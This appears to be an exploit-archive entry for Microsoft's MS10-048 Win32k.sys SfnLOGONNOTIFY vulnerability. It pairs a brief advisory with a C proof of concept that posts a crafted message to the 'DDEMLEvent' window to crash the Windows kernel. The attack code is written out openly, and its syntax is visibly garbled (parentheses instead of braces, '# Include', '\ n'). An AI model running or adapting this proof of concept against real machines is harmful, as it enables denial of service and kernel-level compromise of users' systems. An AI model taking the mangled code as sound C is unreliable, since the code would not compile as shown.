Microsoft Windows 'SfnLOGONNOTIFY' Local Privilege Escalation Vulnerability (MS10-048)

                                                # Source: http://www.securityfocus.com/bid/39630/info
 
Microsoft Windows is prone to a local privilege-escalation vulnerability.
 
A local attacker may exploit this issue to execute arbitrary code with kernel-level privileges. Successful exploits will result in the complete compromise of affected computers. Failed exploit attempts may cause a denial-of-service condition.
 
Microsoft Windows 2000, Windows XP and Windows 2003 are affected by this issue.
 
# Include "stdafx.h"
# Include "windows.h"
int main (int argc, char * argv [])
(
printf("Microsoft Windows Win32k.sys SfnLOGONNOTIFY Local D.O.S Vuln\nBy MJ0011\[email protected]\nPressEnter");
  
getchar();
  
HWND hwnd = FindWindow ("DDEMLEvent", NULL);
  
if (hwnd == 0)
(
   printf ("cannot find DDEMLEvent Window! \ n");
   return 0;
)
  
PostMessage (hwnd, 0x4c, 0x4, 0x80000000);
  
  
return 0;
)